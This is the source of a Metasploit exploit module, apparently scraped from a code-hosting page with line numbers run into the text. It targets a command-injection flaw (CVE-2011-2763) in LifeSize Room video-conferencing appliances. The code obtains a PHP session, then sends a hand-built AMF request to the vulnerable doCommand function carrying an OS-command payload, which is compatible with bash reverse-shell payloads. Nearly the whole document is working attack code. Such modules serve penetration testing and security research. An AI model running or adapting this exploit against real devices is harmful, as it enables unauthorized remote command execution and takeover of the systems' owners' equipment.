Path: blob/master/modules/exploits/unix/http/lifesize_room.rb
19847 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'LifeSize Room Command Injection',15'Description' => %q{16This module exploits a vulnerable resource in LifeSize17Room versions 3.5.3 and 4.7.18 to inject OS commands. LifeSize18Room is an appliance and thus the environment is limited19resulting in a small set of payload options.20},21'Author' => [22# SecureState R&D Team - Special Thanks To Chris Murrey23'Spencer McIntyre',24],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2011-2763' ],28[ 'OSVDB', '75212' ],29],30'Privileged' => false,31'Payload' => {32'DisableNops' => true,33'Space' => 65535, # limited by the two byte size in the AMF encoding34'Compat' =>35{36'PayloadType' => 'cmd cmd_bash',37'RequiredCmd' => 'generic bash-tcp',38}39},40'Platform' => [ 'unix' ],41'Arch' => ARCH_CMD,42'Targets' => [ [ 'Automatic', {} ] ],43'DisclosureDate' => '2011-07-13',44'DefaultTarget' => 0,45'Notes' => {46'Stability' => [ CRASH_SAFE, ],47'Reliability' => [ REPEATABLE_SESSION, ],48'SideEffects' => UNKNOWN_SIDE_EFFECTS,49}50)51)52end5354def exploit55print_status("Requesting PHP Session...")56res = send_request_cgi({57'encode' => false,58'uri' => "/interface/interface.php?uniqueKey=#{rand_text_numeric(13)}",59'method' => 'GET',60}, 10)6162if res.nil? || res.get_cookies.empty?63fail_with(Failure::NotFound, 'Could not obtain a Session ID')64end6566sessionid = 'PHPSESSID=' << res.get_cookies.split('PHPSESSID=')[1].split('; ')[0]6768headers = {69'Cookie' => sessionid,70'Content-Type' => 'application/x-amf',71}7273print_status("Validating PHP Session...")7475data = "\x00\x00\x00\x00\x00\x02\x00\x1b"76data << "LSRoom_Remoting.amfphpLogin"77data << "\x00\x02/1\x00\x00\x00"78data << "\x05\x0a\x00\x00\x00\x00\x00\x17"79data << "LSRoom_Remoting.getHost"80data << "\x00\x02\x2f\x32\x00\x00\x00\x05\x0a\x00\x00\x00\x00"8182res = send_request_cgi({83'encode' => false,84'uri' => '/gateway.php',85'data' => data,86'method' => 'POST',87'headers' => headers,88}, 10)8990if not res91fail_with(Failure::NotFound, 'Could not validate the Session ID')92return93end9495print_status("Sending Malicious POST Request...")9697# This is the amf data for the request to the vulnerable function LSRoom_Remoting.doCommand98amf_data = "\x00\x00\x00\x00\x00\x01\x00\x19"99amf_data << "LSRoom_Remoting.doCommand"100amf_data << "\x00\x02\x2f\x37\xff\xff\xff\xff"101amf_data << "\x0a\x00\x00\x00\x02\x02#{[payload.encoded.length].pack('n')}#{payload.encoded}"102amf_data << "\x02\x00\x0dupgradeStatus"103104res = send_request_cgi({105'encode' => false,106'uri' => '/gateway.php?' << sessionid,107'data' => amf_data,108'method' => 'POST',109'headers' => headers110}, 10)111end112end113114115